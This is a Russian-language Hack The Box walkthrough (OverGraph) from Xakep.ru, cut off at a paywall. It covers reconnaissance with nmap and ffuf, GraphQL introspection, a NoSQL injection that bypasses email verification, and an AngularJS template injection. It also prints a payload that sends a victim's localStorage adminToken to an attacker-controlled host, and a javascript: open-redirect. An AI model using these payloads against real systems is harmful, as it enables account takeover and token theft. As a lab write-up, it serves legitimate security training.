Содержание статьи
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.157 overgraph.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
![Результат работы скрипта Результат работы скрипта](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27284/02.png)
Открыто два порта: 22 — служба OpenSSH 8.2p1 и 80 — веб‑сервер Nginx 1.18.0. Nmap показал нам, что выполняется редирект на адрес http://
. Тоже добавляем этот адрес в файл /
.
10.10.11.157 overgraph.htb graph.htb
![Главная страница http://graph.htb Главная страница http://graph.htb](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27283/03.png)
Сайт оказался одностраничным, поэтому нужно найти новые цели для тестирования.
Сканирование веб-контента
Попробуем поискать скрытые каталоги и файлы при помощи ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-fc
— исключить из результата ответы с кодом 403.
ffuf -u 'http://graph.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt
![Результат сканирования каталогов с помощью ffuf Результат сканирования каталогов с помощью ffuf](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27282/04.png)
И не находим ничего интересного, даже в файле server-status
. Поэтому попробуем просканировать поддомены, для чего снова будем использовать ffuf. К параметрам добавим заголовки -H
и --fs
, это поможет отсеять страницы по размеру.
ffuf -u 'http://graph.htb/' -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.graph.htb' --fs 178
![Результат сканирования поддоменов с помощью ffuf Результат сканирования поддоменов с помощью ffuf](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27281/05.png)
И находим новый поддомен internal
. Добавляем его в файл /
.
10.10.11.157 overgraph.htb graph.htb internal.graph.htb
Но, открыв сайт в браузере, сразу натыкаемся на форму авторизации.
![Форма авторизации http://internal.graph.htb Форма авторизации http://internal.graph.htb](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27280/06.png)
Так как всю работу проводим через Burp, то обнаружим в Burp History обращение еще к одному домену — internal-api.
.
![Логи Burp History Логи Burp History](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27279/07.png)
Добавляем еще одну запись в файл /
и затем открываем страницу /
.
10.10.11.157 overgraph.htb graph.htb internal.graph.htb internal-api.graph.htb
![Главная страница сайта http://internal-api.graph.htb Главная страница сайта http://internal-api.graph.htb](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27278/08.png)
На странице используется GraphQL. Это язык запросов, с помощью которого клиентские приложения работают с данными. «Схемы» GraphQL позволяют организовывать создание, чтение, обновление и удаление данных в приложении. Давай получим данные __schema
и отфильтруем названия типов, это можно сделать, передав в параметре query
следующий запрос:
{__schema{types{name,fields{name}}}}
![Ответ сервера Ответ сервера](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27277/09.png)
![Ответ сервера (продолжение) Ответ сервера (продолжение)](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27276/10.png)
На этом пока все, но мы еще не сканировали каталоги на новом домене. Попробуем сделать это. Но, как только мы обратимся к любой странице, получим ответ, что запросы GET не поддерживаются. Поэтому будем сканировать запросом POST. А так как на домене крутится API, то и использовать будем соответствующий словарь.
ffuf -u 'http://internal-api.graph.htbFUZZ' -t 256 -X POST -w apiscan.txt
![Результат сканирования API с помощью ffuf Результат сканирования API с помощью ffuf](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27275/11.png)
И находим три новые страницы, с которыми начнем работу.
Точка входа
Итак, мы имеем следующие API:
-
register
— для регистрации пользователя; -
verify
— предположительно для проверки при регистрации; -
code
— пока непонятно, но, скорее всего, для проверки кода, отправленного на email.
Я начал со страницы /
. Передаем наиболее вероятные параметры: имя пользователя, пароль и адрес электронной почты.
{ "username":"ralf", "email":"ralf@graph.htb", "password":"ralf"}
![Попытка регистрации пользователя Попытка регистрации пользователя](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27266/12.png)
Но в ответ нам говорят, что у нас неверный email или он не верифицирован. Это интересно, так как у нас остается всего две страницы для регистрации. Видимо, страница /
нужна для получения кода. Отправим туда свой email.
{ "email":"ralf@graph.htb"}
![Получение кода Получение кода](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27272/13.png)
И нам сообщают, что четыре цифры были отправлены на указанный почтовый ящик. По тестовому сообщению на странице /
узнаем, что вместе с почтой нужно присылать и код.
![Запрос к /api/verify Запрос к /api/verify](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27274/14.png)
Я попробовал перебрать этот код с помощью Burp Intruder, благо комбинаций всего 10 000. Но уже на одном из первых запросов все ломается, так как мы превысили количество попыток!
![Сообщение о превышении количества запросов Сообщение о превышении количества запросов](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27273/15.png)
Я очень долго просидел на этом этапе — пришлось даже просить подсказки у друзей. Мне посоветовали углубиться в механизм проверки кода. Тогда, потратив еще немного времени, я нашел NoSQL-инъекцию, которая позволяет верифицировать почту, предоставляя неправильный код. В данном запросе мы получим положительный результат, если код не равен 0000.
{ "email":"ralf@graph.htb", "code":{ "$ne":"0000" }}
![Верификация почты Верификация почты](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27271/16.png)
Приходит подтверждение того, что почта верифицирована. Повторим регистрацию и получим сообщение, что пароль и его подтверждение не совпадают.
![Попытка регистрации пользователя Попытка регистрации пользователя](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27270/17.png)
Тогда я перепробовал разные имена поля подтверждения пароля и определил, что в данном случае подходит confirmPassword
.
![Регистрация пользователя Регистрация пользователя](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27269/18.png)
И аккаунт создан! Перейдем к форме авторизации на втором домене и авторизуемся.
![Главная страница http://internal.graph.htb Главная страница http://internal.graph.htb](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27268/19.png)
А во входящих находим сообщение от пользователя Sally.
![Входящие сообщения Входящие сообщения](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27267/20.png)
Нас просят прислать ссылку. Попробуем открыть локальный сервер и скинуть ссылку на него. В итоге приходит запрос.
![Логи веб-сервера Python 3 Логи веб-сервера Python 3](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27265/21.png)
Давай посмотрим, как это можно использовать.
Точка опоры
Если еще раз взглянуть на страницу, можно заметить над меню надпись null
. В исходном коде есть отсылка к нашему пользователю. А в локальном хранилище браузера (F12 → Application) найдем запись, что это firstname
и lastname
.
![Исходный код страницы Исходный код страницы](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27253/22.png)
![Локальное хранилище браузера Локальное хранилище браузера](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27252/23.png)
Перейдем в настройки профиля и увидим то же самое, только с возможностью изменить эти значения.
![Страница Profile Страница Profile](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27251/24.png)
CSTI
Надпись null
натолкнула меня на мысль об использовании шаблонов. Давай проведем базовый тест.
![Новые значения имени пользователя Новые значения имени пользователя](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27250/25.png)
![Отображение имени пользователя Отображение имени пользователя](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27249/26.png)
Как можно увидеть, вместо введенной строки получаем результаты выражений, а значит, есть уязвимость в шаблонах! Вот только в локальном хранилище эти значения хранятся, как и вводились. Значит, шаблон работает на клиентской стороне, а это уже путь для CSTI — инъекции шаблонов на стороне клиента.
![Локальное хранилище браузера Локальное хранилище браузера](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27248/27.png)
Также я обратил внимание на параметр admin
со значением false
. Я изменил на true
и перезагрузил страницу. В меню появилась графа Uploads
.
![Измененное меню Измененное меню](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27247/28.png)
Только вот форма загрузки не дает загрузить файл. Если вернемся к нашей схеме GraphQL, то можем посмотреть на необходимые параметры, к примеру adminToken
.
![Параметры из схемы GraphQL Параметры из схемы GraphQL](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27246/29.png)
Таким образом, нам нужен adminToken
пользователя Sally. Но получить его непросто. Тут появился следующий план: если заставим целевого пользователя выполнить запрос на смену имени (по ссылкам же он переходит!), то в качестве нового имени установим нагрузку CSTI, передающую нам adminToken
. В исходниках видим использование AngularJS.
![Исходный код страницы Исходный код страницы](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27243/30.png)
AngularJS — это популярная библиотека JavaScript, которая сканирует HTML на предмет тегов с атрибутом ng-app
(директива AngularJS). Когда директива добавляется в тег, появляется возможность выполнять выражения JavaScript в двойных фигурных скобках.
Уязвимость Template Injection возникает, когда приложение, используя какой‑нибудь шаблонизатор, динамически внедряет пользовательский ввод в веб‑страницу. Когда страница отображается, фреймворк ищет в странице шаблонное выражение и выполняет его. Основное отличие CSTI от SSTI заключается в том, что при CSTI мы можем добиться лишь выполнения произвольного кода на JavaScript. Две самые популярные нагрузки для CSTI в AngularJS:
{{constructor.constructor('alert(1)')()}}{{$on.constructor('alert(1)')()}}
![Новое имя пользователя Новое имя пользователя](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27241/31.png)
Обновляем страницу и первым делом видим окошко алерта.
![Вызов alert(1) при загрузке страницы Вызов alert(1) при загрузке страницы](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27242/32.png)
А теперь попробуем эксфильтровать токен, для чего создадим у себя в хранилище тестовый.
![Локальное хранилище браузера Локальное хранилище браузера](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27240/33.png)
В качестве нагрузки будем использовать знаменитый стилер, который похищает данные через картинку, а доступ к хранилищу получим через window.
.
{{$on.constructor('new Image().src="http://10.10.14.123:8000/?a="+window.localStorage.getItem("adminToken");')()}}
Обновляем страницу и в логах локального веб‑сервера находим значение тестового токена.
![Логи веб-сервера Логи веб-сервера](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27239/34.png)
Нагрузка для эксфильтрации готова, теперь разберемся, как подсунуть пользователю наш код.
Open Redirect
Я снова просмотрел все сайты и на самом главном домене нашел что‑то вроде редиректа.
![Код главной страницы http://graph.htb Код главной страницы http://graph.htb](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27245/35.png)
Если существует GET-параметр redirect
, то функция window.
установит в качестве содержимого текущей страницы код, взятый по ссылке из redirect
. Благо мы можем вставить вместо URL код на JavaScript:
http://graph.htb/?redirect=javascript:alert(1)
![Выполнение кода через JavaScript URL Выполнение кода через JavaScript URL](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27244/36.png)
Осталось разобраться с данными, которые отправляются для изменения имени пользователя.
GraphQL
В Burp History найдем запрос, которым мы изменили собственное имя.
![Запрос на изменение профиля Запрос на изменение профиля](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27238/37.png)
Один из параметров — id
пользователя, а это немного усложняет задачу. Снова вернемся к GraphQL и посмотрим, какой из типов содержит поле Assignedto
.
![Тип task Тип task](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27237/38.png)
Нас интересует тип task
, который мы можем получить запросом tasks
.
![Тип Query Тип Query](https://static.xakep.ru/images/5a1cb95822144c0be25482110ef7451a/27236/39.png)
Таким образом, нам нужно выполнить запрос tasks
с параметром username
, в котором мы передадим имя пользователя Sally
. Нас интересует только поле Assignedto
.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»